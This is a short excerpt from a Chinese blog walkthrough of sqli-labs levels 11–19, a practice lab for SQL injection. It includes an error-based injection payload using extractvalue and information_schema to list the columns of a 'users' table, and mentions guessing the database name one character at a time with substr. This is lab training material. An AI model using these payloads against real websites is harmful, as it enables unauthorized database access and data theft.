2301_81616239的博客

原创 sqli-labs靶场十一关到十九关通关教程

爆字段：1','1',extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e)))#我们要重复此操作八次，才能猜出数据库名，方法和上面一样，就是把substr(database(),2,1)一直递增到8，最后得到数据库名为security。这里只演示了一个列名。